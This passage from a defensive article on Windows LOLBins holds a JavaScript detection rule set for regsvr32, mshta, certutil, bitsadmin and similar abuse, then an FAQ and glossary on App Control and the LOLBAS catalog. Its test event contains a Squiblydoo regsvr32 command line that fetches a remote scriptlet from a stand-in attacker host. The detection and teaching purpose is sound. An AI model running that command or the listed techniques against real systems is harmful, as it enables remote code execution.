  { name: 'Squiblydoo (regsvr32)',  parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\\.exe$/i, child: /regsvr32\\.exe$/i, args: /\\/i:https?:/i },
  { name: 'Mshta remote',           parent: /(cmd|powershell|outlook|winword|excel)\\.exe$/i, child: /mshta\\.exe$/i, args: /(https?:|javascript:|vbscript:)/i },
  { name: 'Certutil download',      parent: /.*/i, child: /certutil\\.exe$/i, args: /-urlcache.+-f\\s+https?:/i },
  { name: 'Bitsadmin transfer',     parent: /.*/i, child: /bitsadmin\\.exe$/i, args: /\\/transfer\\s+/i },
  { name: 'Msbuild inline',         parent: /(cmd|powershell|wscript|cscript)\\.exe$/i, child: /msbuild\\.exe$/i, args: /\\.(csproj|xml|build)\\b/i },
  { name: 'InstallUtil /U',         parent: /(cmd|powershell)\\.exe$/i, child: /installutil\\.exe$/i, args: /\\/u\\s+/i },
  { name: 'Workflow.Compiler chain',parent: /.*/i, child: /(microsoft\\.workflow\\.compiler|wfc)\\.exe$/i, args: /.+/i },
  { name: 'Rundll32 COM',           parent: /(cmd|powershell|wscript|cscript|winword|excel)\\.exe$/i, child: /rundll32\\.exe$/i, args: /(javascript:|url\\.dll,fileprotocolhandler|shell32\\.dll,shellexec_rundll)/i }
];

function evaluate(event) {
  const matches = [];
  for (const r of RULES) {
    if (r.parent.test(event.parentImage || '') &&
        r.child.test(event.image || '') &&
        r.args.test(event.commandLine || '')) {
      matches.push(r.name);
    }
  }
  return matches;
}

const event = {
  parentImage: 'C:\\\\Windows\\\\System32\\\\cmd.exe',
  image:       'C:\\\\Windows\\\\System32\\\\regsvr32.exe',
  commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll'
};
console.log('Matched rules:', evaluate(event));
`}</RunnableCode>

<Aside label="Compliance footing">
For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control.
</Aside>

<Spoiler kind="hint" label="A quick App Control audit-mode validation command">
After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.
</Spoiler>

The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.

## 12. Frequently Asked Questions and Closing

The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.

<FAQ title="Frequently asked questions">

<FAQItem question="Can't Microsoft just unsign all the LOLBins?">
No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively "unsign" a binary that already exists on customer disks, because the binary's bytes have not changed.
</FAQItem>

<FAQItem question="Why is powershell.exe not on the App Control deny list when it is on every LOLBin-adjacent list?">
Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft's specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth.
</FAQItem>

<FAQItem question="Does Smart App Control fix this?">
Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC's enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10).
</FAQItem>

<FAQItem question="Is the LOLBAS project still actively maintained?">
Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks.
</FAQItem>

<FAQItem question="Are there non-Microsoft LOLBins?">
Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft's own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces.
</FAQItem>

<FAQItem question="Was the foundational LOLBin talk at BlueHat IL 2019?">
No. The LOLBAS README itself attributes the project's foundational talk to Oddvar Moe's *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen's *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project's founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README.
</FAQItem>

<FAQItem question="What is the single most-actionable thing a 2026 Windows admin can do tomorrow?">
Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.
</FAQItem>

</FAQ>

### Closing

Every Windows binary that ships with a Microsoft signature is a LOLBin candidate, because the *signature* trust axis is orthogonal to the *behavior* trust axis. That gap was designed into Authenticode in 1996, inherited by AppLocker in 2009, made unignorable by Casey Smith's Squiblydoo in 2016, catalogued by Oddvar Moe and the LOLBAS maintainers starting in 2018, and partially fenced off by Microsoft's App Control Recommended Block Rules between 2017 and 2024. The class will be there when the next reader of this article shows up. Closing it would require either rebuilding the Windows system-administration model or attaching behavioral capability descriptions to every signed Microsoft binary on disk. Microsoft has published no roadmap for either, and the installed base could not absorb either without breaking decades of administrative tooling.

The honest defender's posture is therefore not to ask *when will Microsoft fix this?* but *how thin can the layered SOTA make the residual?*. The answer in 2026 is *thinner than it was in 2016, but the gap between LOLBAS and the Recommended Block Rules (Section 8) is not going to close*. Subscribe to the LOLBAS repository [@lolbas-github]. Bookmark the Recommended Block Rules page [@ms-bypass-rules]. Treat the next entry the catalog ships as a detection-engineering task to schedule, not a Microsoft bug to wait on.

<StudyGuide slug="living-off-the-land-on-windows" keyTerms={[
  { term: "LOLBin", definition: "Living-Off-the-Land Binary: a Microsoft-signed Windows executable with attacker-useful primitives, catalogued in LOLBAS." },
  { term: "Authenticode", definition: "Microsoft's 1996 code-signing scheme. Answers who signed a binary; does not characterize runtime behavior." },
  { term: "AppLocker", definition: "Windows 7 application-allow-list with publisher/path/hash rules. Default rule admits Microsoft-signed binaries; superseded by App Control for Business." },
  { term: "App Control for Business", definition: "Kernel-mode application-control system formerly known as WDAC. Ships with Windows 10 1709+." },
  { term: "Smart App Control", definition: "Windows 11 22H2+ reputation-based application gate. Silently disables itself on insufficient signal; defers LOLBins to the App Control deny list." },
  { term: "Recommended Block Rules", definition: "Microsoft-curated XML deny list of ~40 binaries shipped via Microsoft Learn. The shipping deny-list mechanism for individual LOLBins." },
  { term: "Squiblydoo", definition: "Casey Smith's April 19, 2016 regsvr32 abuse using the /i:URL switch to fetch and execute a remote .sct scriptlet. Tracked as MITRE T1218.010." },
  { term: "AMSI", definition: "Antimalware Scan Interface (Windows 10 1507+). In-process script-content inspection for PowerShell, JScript, VBScript, and .NET." },
  { term: "Constrained Language Mode", definition: "A PowerShell execution mode that restricts the language surface to a safe subset. Enforced automatically when App Control is in enforce on the script file's location." },
  { term: "HVCI", definition: "Hypervisor-protected Code Integrity. Hardware-virtualization-enforced kernel CI; activates the Microsoft Vulnerable Driver Blocklist by default." },
  { term: "MITRE T1218", definition: "System Binary Proxy Execution. The MITRE ATT&CK technique node for the LOLBin family; sub-techniques include .004 InstallUtil, .005 Mshta, .010 Regsvr32, .011 Rundll32." }
]} />
